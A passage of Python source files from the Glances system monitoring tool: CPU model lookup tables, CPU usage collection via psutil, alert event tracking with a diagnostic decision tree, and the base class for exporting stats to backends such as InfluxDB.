'Cortex-A510',\n        0xD47: 'Cortex-A710',\n        0xD48: 'Cortex-X2',\n        0xD49: 'Neoverse N2',\n        0xD4A: 'Neoverse E1',\n        0xD4B: 'Cortex-A78C',\n        0xD4C: 'Cortex-X1C',\n        0xD4D: 'Cortex-A715',\n        0xD4E: 'Cortex-X3',\n        0xD4F: 'Neoverse V2',\n        0xD80: 'Cortex-A520',\n        0xD81: 'Cortex-A720',\n        0xD82: 'Cortex-X4',\n        0xD84: 'Neoverse V3',\n        0xD85: 'Cortex-X925',\n        0xD87: 'Cortex-A725',\n    },\n    # Apple (0x61)\n    0x61: {\n        0x000: 'Swift',\n        0x001: 'Cyclone',\n        0x002: 'Typhoon',\n        0x003: 'Twister',\n        0x004: 'Hurricane',\n        0x005: 'Monsoon/Mistral',\n        0x006: 'Vortex/Tempest',\n        0x007: 'Lightning/Thunder',\n        0x008: 'Firestorm/Icestorm (M1)',\n        0x009: 'Avalanche/Blizzard (M2)',\n        0x00E: 'Everest/Sawtooth (M3)',\n        0x010: 'Blizzard/Avalanche (A16)',\n        0x011: 'Coll (M4)',\n    },\n    # Qualcomm (0x51)\n    0x51: {\n        0x00F: 'Scorpion',\n        0x02D: 'Scorpion',\n        0x04D: 'Krait',\n        0x06F: 'Krait',\n        0x201: 'Kryo',\n        0x205: 'Kryo',\n        0x211: 'Kryo',\n        0x800: 'Kryo 260/280 Gold (Cortex-A73)',\n        0x801: 'Kryo 260/280 Silver (Cortex-A53)',\n        0x802: 'Kryo 385 Gold (Cortex-A75)',\n        0x803: 'Kryo 385 Silver (Cortex-A55)',\n        0x804: 'Kryo 485 Gold (Cortex-A76)',\n        0x805: 'Kryo 485 Silver (Cortex-A55)',\n        0xC00: 'Falkor',\n        0xC01: 'Saphira',\n    },\n    # Samsung (0x53)\n    0x53: {\n        0x001: 'Exynos M1/M2',\n        0x002: 'Exynos M3',\n        0x003: 'Exynos M4',\n        0x004: 'Exynos M5',\n    },\n    # NVIDIA (0x4e)\n    0x4E: {\n        0x000: 'Denver',\n        0x003: 'Denver 2',\n        0x004: 'Carmel',\n    },\n    # Marvell (0x56)\n    0x56: {\n        0x131: 'Feroceon 88FR131',\n        0x581: 'PJ4/PJ4b',\n        0x584: 'PJ4B-MP',\n    },\n    # Cavium (0x43)\n    0x43: {\n        0x0A0: 'ThunderX',\n        0x0A1: 'ThunderX 88XX',\n        0x0A2: 'ThunderX 81XX',\n        0x0A3: 'ThunderX 83XX',\n        0x0AF: 'ThunderX2 99xx',\n        0x0B0: 'OcteonTX2',\n        0x0B1: 'OcteonTX2 T98',\n        0x0B2: 'OcteonTX2 T96',\n        0x0B3: 'OcteonTX2 F95',\n        0x0B4: 'OcteonTX2 F95N',\n        0x0B5: 'OcteonTX2 F95MM',\n    },\n    # Broadcom (0x42)\n    0x42: {\n        0x00F: 'Brahma B15',\n        0x100: 'Brahma B53',\n        0x516: 'Vulcan',\n    },\n    # HiSilicon (0x48)\n    0x48: {\n        0xD01: 'Kunpeng-920',\n        0xD40: 'Cortex-A76 (Kirin)',\n    },\n    # Ampere (0xc0)\n    0xC0: {\n        0xAC3: 'Ampere-1',\n        0xAC4: 'Ampere-1a',\n    },\n    # Fujitsu (0x46)\n    0x46: {\n        0x001: 'A64FX',\n    },\n    # Intel (0x69) - ARM-based chips\n    0x69: {\n        0x200: 'i80200',\n        0x210: 'PXA250A',\n        0x212: 'PXA210A',\n        0x242: 'i80321-400',\n        0x243: 'i80321-600',\n        0x290: 'PXA250B/PXA26x',\n        0x292: 'PXA210B',\n        0x2C2: 'i80321-400-B0',\n        0x2C3: 'i80321-600-B0',\n        0x2D0: 'PXA250C/PXA255/PXA26x',\n        0x2D2: 'PXA210C',\n        0x411: 'PXA27x',\n        0x41C: 'IPX425-533',\n        0x41D: 'IPX425-400',\n        0x41F: 'IPX425-266',\n        0x682: 'PXA32x',\n        0x683: 'PXA930/PXA935',\n        0x688: 'PXA30x',\n        0x689: 'PXA31x',\n    },\n}\n\n\nclass CpuInfo(TypedDict):\n    cpu_name: str\n    cpu_hz: float | None\n    cpu_hz_current: float | None\n\n\nclass PerCpuPercentInfo(TypedDict):\n    key: str\n    cpu_number: int\n    total: float\n    user: float\n    system: float\n    idle: float\n    nice: float | None\n    iowait: float | None\n    irq: float | None\n    softirq: float | None\n    steal: float | None\n    guest: float | None\n    guest_nice: float | None\n    dpc: float | None\n    interrupt: float | None\n\n\nclass CpuPercent:\n    \"\"\"Get and store the CPU percent.\"\"\"\n\n    def __init__(self, cached_timer_cpu: int = 2):\n        # cached_timer_cpu is the minimum time interval between stats updates\n        # since last update is passed (will retrieve old cached info instead)\n        self.cached_timer_cpu = cached_timer_cpu\n        # psutil.cpu_freq() consumes lots of CPU\n        # So refresh CPU frequency stats every refresh * 2\n        self.cached_timer_cpu_info = cached_timer_cpu * 2\n\n        # Get CPU name\n        self.timer_cpu_info = Timer(0)\n        self.cpu_info: CpuInfo = {'cpu_name': self.__get_cpu_name(), 'cpu_hz_current': None, 'cpu_hz': None}\n\n        # Warning from PsUtil documentation\n        # The first time this function is called with interval = 0.0 or None\n        # it will return a meaningless 0.0 value which you are supposed to ignore.\n        self.timer_cpu = Timer(0)\n        self.cpu_percent = self._compute_cpu()\n        self.timer_percpu = Timer(0)\n        self.percpu_percent = self._compute_percpu()\n\n    def get_key(self):\n        \"\"\"Return the key of the per CPU list.\"\"\"\n        return 'cpu_number'\n\n    def get_info(self) -> CpuInfo:\n        \"\"\"Get additional information about the CPU\"\"\"\n        # Never update more than 1 time per cached_timer_cpu_info\n        if self.timer_cpu_info.finished() and hasattr(psutil, 'cpu_freq'):\n            # Get the CPU freq current/max\n            try:\n                cpu_freq = psutil.cpu_freq()\n            except Exception as e:\n                logger.debug(f'Can not grab CPU information ({e})')\n            else:\n                if hasattr(cpu_freq, 'current'):\n                    self.cpu_info['cpu_hz_current'] = cpu_freq.current\n                else:\n                    self.cpu_info['cpu_hz_current'] = None\n                if hasattr(cpu_freq, 'max') and cpu_freq.max != 0.0:\n                    self.cpu_info['cpu_hz'] = cpu_freq.max\n                else:\n                    self.cpu_info['cpu_hz'] = None\n                # Reset timer for cache\n                self.timer_cpu_info.reset(duration=self.cached_timer_cpu_info)\n        return self.cpu_info\n\n    @staticmethod\n    def __get_cpu_name() -> str:\n        # Get the CPU name once from the /proc/cpuinfo file\n        # Read the first line with the \"model name\" (\"Model\" for Raspberry Pi)\n        ret = f'CPU {platform.processor()}'\n        try:\n            cpuinfo_lines = open('/proc/cpuinfo').readlines()\n        except (FileNotFoundError, PermissionError):\n            logger.debug(\"No permission to read '/proc/cpuinfo'\")\n            return ret\n\n        cpu_implementer = None\n        for line in cpuinfo_lines:\n            # Look for the CPU name\n            if line.startswith('model name') or line.startswith('Model') or line.startswith('cpu model'):\n                return line.split(':')[1].strip()\n            # Look for the CPU name on ARM architecture (see #3127)\n            if line.startswith('CPU implementer'):\n                cpu_implementer = CPU_IMPLEMENTERS.get(int(line.split(':')[1].strip(), 16), ret)\n                ret = cpu_implementer\n            if line.startswith('CPU part') and cpu_implementer in CPU_PARTS:\n                cpu_part = CPU_PARTS[cpu_implementer].get(int(line.split(':')[1].strip(), 16), 'Unknown')\n                ret = f'{cpu_implementer} {cpu_part}'\n\n        return ret\n\n    def get_cpu(self) -> float:\n        \"\"\"Update and/or return the CPU using the psutil library.\"\"\"\n        # Never update more than 1 time per cached_timer_cpu\n        if self.timer_cpu.finished():\n            # Reset timer for cache\n            self.timer_cpu.reset(duration=self.cached_timer_cpu)\n            # Update the stats\n            self.cpu_percent = self._compute_cpu()\n        return self.cpu_percent\n\n    @staticmethod\n    def _compute_cpu() -> float:\n        return psutil.cpu_percent(interval=0.0)\n\n    def get_percpu(self) -> list[PerCpuPercentInfo]:\n        \"\"\"Update and/or return the per CPU list using the psutil library.\"\"\"\n        # Never update more than 1 time per cached_timer_cpu\n        if self.timer_percpu.finished():\n            # Reset timer for cache\n            self.timer_percpu.reset(duration=self.cached_timer_cpu)\n            # Update stats\n            self.percpu_percent = self._compute_percpu()\n        return self.percpu_percent\n\n    def _compute_percpu(self) -> list[PerCpuPercentInfo]:\n        psutil_percpu = enumerate(psutil.cpu_times_percent(interval=0.0, percpu=True))\n        return [\n            {\n                'key': self.get_key(),\n                'cpu_number': cpu_number,\n                'total': round(100 - cpu_times.idle, 1),\n                'user': cpu_times.user,\n                'system': cpu_times.system,\n                'idle': cpu_times.idle,\n                'nice': cpu_times.nice if hasattr(cpu_times, 'nice') else None,\n                'iowait': cpu_times.iowait if hasattr(cpu_times, 'iowait') else None,\n                'irq': cpu_times.irq if hasattr(cpu_times, 'irq') else None,\n                'softirq': cpu_times.softirq if hasattr(cpu_times, 'softirq') else None,\n                'steal': cpu_times.steal if hasattr(cpu_times, 'steal') else None,\n                'guest': cpu_times.guest if hasattr(cpu_times, 'guest') else None,\n                'guest_nice': cpu_times.steal if hasattr(cpu_times, 'guest_nice') else None,\n                'dpc': cpu_times.dpc if hasattr(cpu_times, 'dpc') else None,\n                'interrupt': cpu_times.interrupt if hasattr(cpu_times, 'interrupt') else None,\n            }\n            for cpu_number, cpu_times in psutil_percpu\n        ]\n\n\n# CpuPercent instance shared between plugins\ncpu_percent = CpuPercent()\n"
  },
  {
    "path": "glances/event.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage Glances event class\n\nThis class is a data class for the Glances event.\n\nevent_state = \"OK|CAREFUL|WARNING|CRITICAL\"\nevent_type = \"CPU*|LOAD|MEM|MON\"\nevent_value = value\n\nItem (or event) is defined by:\n    {\n        \"begin\": \"begin\",\n        \"end\": \"end\",\n        \"state\": \"WARNING|CRITICAL\",\n        \"type\": \"CPU|LOAD|MEM\",\n        \"max\": MAX,\n        \"avg\": AVG,\n        \"min\": MIN,\n        \"sum\": SUM,\n        \"count\": COUNT,\n        \"top\": [top 3 process name],\n        \"desc\": \"Processes description\",\n        \"sort\": \"top sort key\",\n        \"global\": \"global alert message\"\n    }\n\"\"\"\n\nfrom glances.logger import logger\n\ntry:\n    from pydantic.dataclasses import dataclass\nexcept ImportError as e:\n    logger.warning(f\"Missing Python Lib ({e}), EventList will be skipping data validation\")\n    from dataclasses import dataclass\n\nfrom glances.processes import sort_stats\n\n\n@dataclass\nclass GlancesEvent:\n    begin: int\n    state: str\n    type: str\n    min: float\n    max: float\n    sum: float\n    count: int\n    avg: float\n    top: list\n    desc: str\n    sort: str\n    global_msg: str\n    end: int = -1\n\n    def __post_init__(self):\n        self.top_dict = {}\n\n    def is_ongoing(self):\n        \"\"\"Return True if the event is ongoing\"\"\"\n        return self.end == -1\n\n    def is_finished(self):\n        \"\"\"Return True if the event is finished\"\"\"\n        return self.end != -1\n\n    def update(\n        self,\n        state: str,\n        value: float,\n        sort_key: str = None,\n        proc_list: list = None,\n        proc_desc: str = None,\n        global_msg: str = None,\n    ):\n        \"\"\"Update an ongoing event\"\"\"\n\n        self.end = -1\n\n        self.min = min(self.min, value)\n        self.max = max(self.max, value)\n        self.sum += value\n        self.count += 1\n        self.avg = self.sum / self.count\n\n        if state == \"CRITICAL\":\n            # Avoid to change from CRITICAL to WARNING\n            # If an events have reached the CRITICAL state, it can't go back to WARNING\n            self.state = state\n            # TOP PROCESS LIST (only for CRITICAL ALERT)\n            self.sort = sort_key\n            # Count of the top processes\n            for p in sort_stats(proc_list, sort_key)[0:6]:\n                if p['name'] not in self.top_dict.keys():\n                    self.top_dict[p['name']] = 1\n                else:\n                    self.top_dict[p['name']] += 1\n            self.top = [i[0] for i in sorted(self.top_dict.items(), key=lambda item: item[1], reverse=True)][0:3]\n        else:\n            self.top_dict = {}\n\n        # MONITORED PROCESSES DESC\n        self.desc = proc_desc\n\n        # Global message\n        self.global_msg = global_msg\n"
  },
  {
    "path": "glances/events_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage Glances events list (previously Glances logs in Glances < 3.1).\"\"\"\n\nimport time\nfrom dataclasses import asdict\nfrom datetime import datetime\n\nfrom glances.event import GlancesEvent\nfrom glances.processes import glances_processes\nfrom glances.thresholds import glances_thresholds\n\n# Static decision tree for the global alert message\n# - msg: Message to be displayed (result of the decision tree)\n# - thresholds: a list of stats to take into account\n# - thresholds_min: minimal value of the thresholds sum\n# -                 0: OK\n# -                 1: CAREFUL\n# -                 2: WARNING\n# -                 3: CRITICAL\ntree = [\n    {'msg': 'EVENTS history', 'thresholds': [], 'thresholds_min': 0},\n    {'msg': 'High CPU user mode', 'thresholds': ['cpu_user'], 'thresholds_min': 2},\n    {'msg': 'High CPU kernel usage', 'thresholds': ['cpu_system'], 'thresholds_min': 2},\n    {'msg': 'High CPU I/O waiting', 'thresholds': ['cpu_iowait'], 'thresholds_min': 2},\n    {\n        'msg': 'Large CPU stolen time. System running the hypervisor is too busy.',\n        'thresholds': ['cpu_steal'],\n        'thresholds_min': 2,\n    },\n    {'msg': 'High CPU niced value', 'thresholds': ['cpu_niced'], 'thresholds_min': 2},\n    {'msg': 'System overloaded in the last 5 minutes', 'thresholds': ['load'], 'thresholds_min': 2},\n    {'msg': 'High swap (paging) usage', 'thresholds': ['memswap'], 'thresholds_min': 2},\n    {'msg': 'High memory consumption', 'thresholds': ['mem'], 'thresholds_min': 2},\n]\n\n# TODO: change the algo to use the following decision tree\n# Source: Inspire by https://scoutapm.com/blog/slow_server_flow_chart\n# _yes means threshold >= 2\n# _no  means threshold < 2\n# With threshold:\n# - 0: OK\n# - 1: CAREFUL\n# - 2: WARNING\n# - 3: CRITICAL\ntree_new = {\n    'cpu_iowait': {\n        '_yes': {\n            'memswap': {\n                '_yes': {\n                    'mem': {\n                        '_yes': {\n                            # Once you've identified the offenders, the resolution will again\n                            # depend on whether their memory usage seems business-as-usual or not.\n                            # For example, a memory leak can be satisfactorily addressed by a one-time\n                            # or periodic restart of the process.\n                            # - if memory usage seems anomalous: kill the offending processes.\n                            # - if memory usage seems business-as-usual: add RAM to the server,\n                            # or split high-memory using services to other servers.\n                            '_msg': \"Memory issue\"\n                        },\n                        '_no': {\n                            # ???\n                            '_msg': \"Swap issue\"\n                        },\n                    }\n                },\n                '_no': {\n                    # Low swap means you have a \"real\" IO wait problem. The next step is to see what's hogging your IO.\n                    # iotop is an awesome tool for identifying io offenders. Two things to note:\n                    # unless you've already installed iotop, it's probably not already on your system.\n                    # Recommendation: install it before you need it - - it's no fun trying to install a troubleshooting\n                    # tool on an overloaded machine (iotop requires a Linux of 2.62 or above)\n                    '_msg': \"I/O issue\"\n                },\n            }\n        },\n        '_no': {\n            'cpu_total': {\n                '_yes': {\n                    'cpu_user': {\n                        '_yes': {\n                            # We expect the user-time percentage to be high.\n                            # There's most likely a program or service you've configured on you server that's\n                            # hogging CPU.\n                            # Checking the % user time just confirms this. When you see that the % user-time is high,\n                            # it's time to see what executable is monopolizing the CPU\n                            # Once you've confirmed that the % usertime is high, check the process list(also provided\n                            # by top).\n                            # Be default, top sorts the process list by % CPU, so you can just look at the top process\n                            # or processes.\n                            # If there's a single process hogging the CPU in a way that seems abnormal, it's an\n                            # anomalous situation\n                            # that a service restart can fix. If there are are multiple processes taking up CPU\n                            # resources, or it\n                            # there's one process that takes lots of resources while otherwise functioning normally,\n                            # than your setup\n                            # may just be underpowered. You'll need to upgrade your server(add more cores),\n                            # or split services out onto\n                            # other boxes. In either case, you have a resolution:\n                            # - if situation seems anomalous: kill the offending processes.\n                            # - if situation seems typical given history: upgrade server or add more servers.\n                            '_msg': \"CPU issue with user process(es)\"\n                        },\n                        '_no': {\n                            'cpu_steal': {\n                                '_yes': {\n                                    '_msg': \"CPU issue with stolen time. System running the hypervisor may be too busy.\"\n                                },\n                                '_no': {'_msg': \"CPU issue with system process(es)\"},\n                            }\n                        },\n                    }\n                },\n                '_no': {\n                    '_yes': {\n                        # ???\n                        '_msg': \"Memory issue\"\n                    },\n                    '_no': {\n                        # Your slowness isn't due to CPU or IO problems, so it's likely an application-specific issue.\n                        # It's also possible that the slowness is being caused by another server in your cluster, or\n                        # by an external service you rely on.\n                        # start by checking important applications for uncharacteristic slowness(the DB is a good place\n                        # to start), think through which parts of your infrastructure could be slowed down externally.\n                        # For example, do you use an externally hosted email service that could slow down critical\n                        # parts of your application ?\n                        # If you suspect another server in your cluster, strace and lsof can provide information on\n                        # what the process is doing or waiting on. Strace will show you which file descriptors are\n                        # being read or written to (or being attempted to be read from) and lsof can give you a\n                        # mapping of those file descriptors to network connections.\n                        '_msg': \"External issue\"\n                    },\n                },\n            }\n        },\n    }\n}\n\n\ndef build_global_message():\n    \"\"\"Parse the decision tree and return the message.\n\n    Note: message corresponding to the current thresholds values\n    \"\"\"\n    # Compute the weight for each item in the tree\n    current_thresholds = glances_thresholds.get()\n    for i in tree:\n        i['weight'] = sum([current_thresholds[t].value() for t in i['thresholds'] if t in current_thresholds])\n    themax = max(tree, key=lambda d: d['weight'])\n    if themax['weight'] >= themax['thresholds_min']:\n        # Check if the weight is > to the minimal threshold value\n        return themax['msg']\n    return tree[0]['msg']\n\n\nclass GlancesEventsList:\n    \"\"\"This class manages events inside the Glances software.\n    GlancesEventsList is a list of GlancesEvent.\n    GlancesEvent is defined in the event.py file\n    \"\"\"\n\n    def __init__(self, max_events=10, min_duration=6, min_interval=6):\n        \"\"\"Init the events class.\n\n        max_events: maximum size of the events list\n        min_duration: events duration should be > min_duration to be taken into account (in seconds)\n        min_interval: minimal interval between same kind of alert (in seconds)\n        \"\"\"\n        # Maximum size of the events list\n        self.set_max_events(max_events)\n\n        # Minimal event duraton time (in seconds)\n        self.set_min_duration(min_duration)\n\n        # Minimal interval between same kind of alert (in seconds)\n        self.set_min_interval(min_interval)\n\n        # Init the logs list\n        self.events_list = []\n\n    def set_max_events(self, max_events):\n        \"\"\"Set the maximum size of the events list.\"\"\"\n        self.max_events = max_events\n\n    def set_min_duration(self, min_duration):\n        \"\"\"Set the minimal event duration time (in seconds).\"\"\"\n        self.min_duration = min_duration\n\n    def set_min_interval(self, min_interval):\n        \"\"\"Set the minimum interval between same kind of alert (in seconds).\"\"\"\n        self.min_interval = min_interval\n\n    def get(self):\n        \"\"\"Return the RAW events list.\"\"\"\n        return [asdict(e) for e in self.events_list]\n\n    def len(self):\n        \"\"\"Return the number of events in the logs list.\"\"\"\n        return self.events_list.__len__()\n\n    def __event_exist(self, event_time, event_type):\n        \"\"\"Return the event position in the events list if:\n        type is matching\n        and (end is < 0 or event_time - end < min_interval)\n        Return -1 if the item is not found.\n        \"\"\"\n        for i in range(self.len()):\n            if (\n                self.events_list[i].is_ongoing() or (event_time - self.events_list[i].end < self.min_interval)\n            ) and self.events_list[i].type == event_type:\n                return i\n        return -1\n\n    def get_event_sort_key(self, event_type):\n        \"\"\"Return the process sort key\"\"\"\n        # Process sort depending on alert type\n        if event_type.startswith(\"MEM\"):\n            # Sort TOP process by memory_percent\n            ret = 'memory_percent'\n        elif event_type.startswith(\"CPU_IOWAIT\"):\n            # Sort TOP process by io_counters (only for Linux OS)\n            ret = 'io_counters'\n        else:\n            # Default sort is...\n            ret = 'cpu_percent'\n        return ret\n\n    def set_process_sort(self, event_type):\n        \"\"\"Define the process auto sort key from the alert type.\"\"\"\n        if glances_processes.auto_sort:\n            glances_processes.set_sort_key(self.get_event_sort_key(event_type))\n\n    def reset_process_sort(self):\n        \"\"\"Reset the process auto sort key.\"\"\"\n        if glances_processes.auto_sort:\n            glances_processes.set_sort_key('auto')\n\n    def add(self, event_state, event_type, event_value, proc_list=None, proc_desc=\"\"):\n        \"\"\"Add a new item to the logs list.\n\n        event_state = \"OK|CAREFUL|WARNING|CRITICAL\"\n        event_type = \"CPU|LOAD|MEM|...\"\n        event_value = value\n        proc_list = list of processes\n        proc_desc = processes description\n        global_message = global alert message\n\n        If 'event' is a 'new one', add it at the beginning of the list.\n        If 'event' is not a 'new one', update the list .\n        When finished if event duration < peak_time then the alert is not set.\n        \"\"\"\n        event_time = time.mktime(datetime.now().timetuple())\n        global_message = build_global_message()\n        proc_list = proc_list or glances_processes.get_list()\n\n        # Add or update the log\n        event_index = self.__event_exist(event_time, event_type)\n        if event_index < 0:\n            # Event did not exist, add it\n            self._create_event(event_time, event_state, event_type, event_value, proc_desc, global_message)\n        else:\n            # Event exist, update it\n            self._update_event(\n                event_time, event_index, event_state, event_type, event_value, proc_list, proc_desc, global_message\n            )\n\n        # logger.info(self.events_list)\n        return self.len()\n\n    def _create_event(self, event_time, event_state, event_type, event_value, proc_desc, global_message):\n        \"\"\"Add a new item in the log list.\n\n        Item is added only if the criticality (event_state) is WARNING or CRITICAL.\n        \"\"\"\n        if event_state not in ('WARNING', 'CRITICAL'):\n            return\n\n        # Define the automatic process sort key\n        self.set_process_sort(event_type)\n\n        # Create the new log item\n        # Time is stored in Epoch format\n        # Epoch -> DMYHMS = datetime.fromtimestamp(epoch)\n        event = GlancesEvent(\n            begin=event_time,\n            state=event_state,\n            type=event_type,\n            min=event_value,\n            max=event_value,\n            sum=event_value,\n            count=1,\n            avg=event_value,\n            top=[],\n            desc=proc_desc,\n            sort=glances_processes.sort_key,\n            global_msg=global_message,\n        )\n\n        # Add the event to the list\n        self.events_list.insert(0, event)\n\n        # Limit the list to 'max_events' items\n        if self.len() > self.max_events:\n            self.events_list.pop()\n\n    def _update_event(\n        self, event_time, event_index, event_state, event_type, event_value, proc_list, proc_desc, global_message\n    ):\n        \"\"\"Update an event in the list\"\"\"\n        if event_state in ('OK', 'CAREFUL') and self.events_list[event_index].is_ongoing():\n            # Close the event\n            self._close_event(event_time, event_index)\n        elif event_state in ('OK', 'CAREFUL') and self.events_list[event_index].is_finished():\n            # Event is already closed, do nothing\n            pass\n        else:  # event_state == \"WARNING\" or event_state == \"CRITICAL\"\n            # Set process sort key\n            self.set_process_sort(event_type)\n\n            # Update an ongoing event\n            self.events_list[event_index].update(\n                state=event_state,\n                value=event_value,\n                sort_key=self.get_event_sort_key(event_type),\n                proc_list=proc_list,\n                proc_desc=proc_desc,\n                global_msg=global_message,\n            )\n\n    def _close_event(self, event_time, event_index):\n        \"\"\"Close an event in the list\"\"\"\n        # Reset the automatic process sort key\n        self.reset_process_sort()\n\n        # Set the end of the events\n        if event_time - self.events_list[event_index].begin >= self.min_duration:\n            # If event is >= min_duration seconds\n            self.events_list[event_index].end = event_time\n        else:\n            # If event < min_duration seconds, ignore\n            self.events_list.remove(self.events_list[event_index])\n\n    def clean(self, critical=False):\n        \"\"\"Clean the logs list by deleting finished items.\n\n        By default, only delete WARNING message.\n        If critical = True, also delete CRITICAL message.\n        \"\"\"\n        # Create a new clean list\n        clean_events_list = []\n        while self.len() > 0:\n            event = self.events_list.pop()\n            if event.end < 0 or (not critical and event.state.startswith(\"CRITICAL\")):\n                clean_events_list.insert(0, event)\n        # The list is now the clean one\n        self.events_list = clean_events_list\n        return self.len()\n\n\nglances_events = GlancesEventsList()\n"
  },
  {
    "path": "glances/exports/README.rst",
    "content": "===============\nGlances experts\n===============\n\nThis is the Glances exporters folder.\n\nA Glances exporter is a Python module hosted in a folder.\n\nThe name of the foo Glances exporter folder is foo (glances_foo).\n\nThe exporter is a Python class named Export inherits the GlancesExport object:\n\n.. code-block:: python\n\n    class Export(GlancesExport):\n        \"\"\"Glances foo exporter.\"\"\"\n\n        def __init__(self, args=None, config=None):\n            super(Export, self).__init__(config=config, args=args)\n            pass\n\nA plugin should implement the following methods:\n\n- export(): export the self.stats variable to the exporter destination.\n\nHave a look of all Glances exporter's methods in the export.py file.\n"
  },
  {
    "path": "glances/exports/__init__.py",
    "content": ""
  },
  {
    "path": "glances/exports/export.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nI am your father...\n...for all Glances exports IF.\n\"\"\"\n\nimport re\n\nfrom glances.globals import NoOptionError, NoSectionError, json_dumps\nfrom glances.logger import logger\nfrom glances.timer import Counter\n\n\nclass GlancesExport:\n    \"\"\"Main class for Glances export IF.\"\"\"\n\n    # List of non exportable internal plugins\n    non_exportable_plugins = [\n        \"alert\",\n        \"help\",\n        \"plugin\",\n        \"psutilversion\",\n        \"quicklook\",\n        \"version\",\n    ]\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the export class.\"\"\"\n        # Export name\n        self.export_name = self.__class__.__module__\n        logger.debug(f\"Init export module {self.export_name}\")\n\n        # Init the config & args\n        self.config = config\n        self.args = args\n\n        # By default export is disabled\n        # Needs to be set to True in the __init__ class of child\n        self.export_enable = False\n\n        # Mandatory for (most of) the export module\n        self.host = None\n        self.port = None\n\n        # Save last export list\n        self._last_exported_list = None\n\n        # Fields description\n        self._fields_description = None\n\n        # Load the default common export configuration\n        if self.config is not None:\n            self.load_common_conf()\n\n    def _log_result_decorator(fct):\n        \"\"\"Log (DEBUG) the result of the function fct.\"\"\"\n\n        def wrapper(*args, **kw):\n            counter = Counter()\n            ret = fct(*args, **kw)\n            duration = counter.get()\n            class_name = args[0].__class__.__name__\n            class_module = args[0].__class__.__module__\n            logger.debug(f\"{class_name} {class_module} {fct.__name__} return {ret} in {duration} seconds\")\n            return ret\n\n        return wrapper\n\n    def exit(self):\n        \"\"\"Close the export module.\"\"\"\n        logger.debug(f\"Finalise export interface {self.export_name}\")\n\n    def load_common_conf(self):\n        \"\"\"Load the common export configuration in the Glances configuration file.\n\n        :returns: Boolean -- True if section is found\n        \"\"\"\n        # Read the common [export] section\n        section = \"export\"\n\n        opt = \"exclude_fields\"\n        try:\n            setattr(self, opt, self.config.get_list_value(section, opt))\n        except NoOptionError:\n            logger.debug(f\"{opt} option not found in the {section} configuration section\")\n\n        logger.debug(f\"Load common {section} from the Glances configuration file\")\n\n        return True\n\n    def load_conf(self, section, mandatories=[\"host\", \"port\"], options=None):\n        \"\"\"Load the export <section> configuration in the Glances configuration file.\n\n        :param section: name of the export section to load\n        :param mandatories: a list of mandatory parameters to load\n        :param options: a list of optional parameters to load\n\n        :returns: Boolean -- True if section is found\n        \"\"\"\n        options = options or []\n\n        if self.config is None:\n            return False\n\n        # By default read the mandatory host:port items\n        try:\n            for opt in mandatories:\n                setattr(self, opt, self.config.get_value(section, opt))\n        except NoSectionError:\n            logger.error(f\"No {section} configuration found\")\n            return False\n        except NoOptionError as e:\n            logger.error(f\"Error in the {section} configuration ({e})\")\n            return False\n\n        # Load options\n        for opt in options:\n            try:\n                setattr(self, opt, self.config.get_value(section, opt))\n            except NoOptionError:\n                logger.debug(f\"{opt} option not found in the {section} configuration section\")\n\n        logger.debug(f\"Load {section} from the Glances configuration file\")\n        logger.debug(f\"{section} parameters: { ({opt: getattr(self, opt) for opt in mandatories + options}) }\")\n\n        return True\n\n    def get_item_key(self, item):\n        \"\"\"Return the value of the item 'key'.\"\"\"\n        ret = None\n        try:\n            ret = item[item[\"key\"]]\n        except KeyError:\n            logger.error(f\"No 'key' available in {item}\")\n        if isinstance(ret, list):\n            return ret[0]\n        return ret\n\n    def parse_tags(self, tags):\n        \"\"\"Parse tags into a dict.\n\n        :param tags: a comma-separated list of 'key:value' pairs. Example: foo:bar,spam:eggs\n        :return: a dict of tags. Example: {'foo': 'bar', 'spam': 'eggs'}\n        \"\"\"\n        d_tags = {}\n        if tags:\n            try:\n                d_tags = dict(x.split(\":\", 1) for x in tags.split(\",\"))\n            except ValueError:\n                # one of the 'key:value' pairs was missing\n                logger.info(\"Invalid tags passed: %s\", tags)\n                d_tags = {}\n\n        return d_tags\n\n    def normalize_for_influxdb(self, name, columns, points):\n        \"\"\"Normalize data for the InfluxDB's data model.\n\n        :return: a list of measurements.\n        \"\"\"\n        ret = []\n\n        # Some fields should be converted to tags in order to avoid type mismatch in InfluxDB\n        # and to be able to use them as filters in queries.\n        FIELD_TO_TAG = [\"name\", \"cmdline\", \"type\"]\n        # Some fields should be converted to string in order to avoid type mismatch in InfluxDB\n        # Example: the 'result' field of the AMP plugin can be a string or a number depending on the AMP implementation.\n        # In this case, we convert it to a string and create another field with the same name but with a suffix (_float)\n        # to keep the original value.\n        # See #3419 for more details.\n        FIELD_TO_STRING = [\"result\"]\n\n        # Build initial dict by crossing columns and point\n        data_dict = dict(zip(columns, points))\n\n        # issue1871 - Check if a key exist. If a key exist, the value of\n        # the key should be used as a tag to identify the measurement.\n        keys_list = [k.split(\".\")[0] for k in columns if k.endswith(\".key\")]\n        if not keys_list:\n            keys_list = [None]\n\n        for measurement in keys_list:\n            # Manage field\n            if measurement is not None:\n                fields = {\n                    k.replace(f\"{measurement}.\", \"\"): data_dict[k] for k in data_dict if k.startswith(f\"{measurement}.\")\n                }\n            else:\n                fields = data_dict\n            # Transform to InfluxDB data model\n            # https://docs.influxdata.com/influxdb/v1.8/write_protocols/line_protocol_reference/\n            for k in fields:\n                #  Do not export empty (None) value\n                if fields[k] is None:\n                    continue\n                # Convert numerical to float\n                try:\n                    fields[k] = float(fields[k])\n                except (TypeError, ValueError):\n                    # Convert others to string\n                    try:\n                        fields[k] = str(fields[k])\n                    except (TypeError, ValueError):\n                        pass\n                # Convert some fields to string to avoid type mismatch in InfluxDB\n                if k in FIELD_TO_STRING:\n                    fields[k] = str(fields[k])\n            # Manage tags\n            tags = self.parse_tags(self.tags)\n            # Add the hostname as a tag\n            tags[\"hostname\"] = self.hostname\n            if \"hostname\" in fields:\n                fields.pop(\"hostname\")\n            # Others tags...\n            if \"key\" in fields and 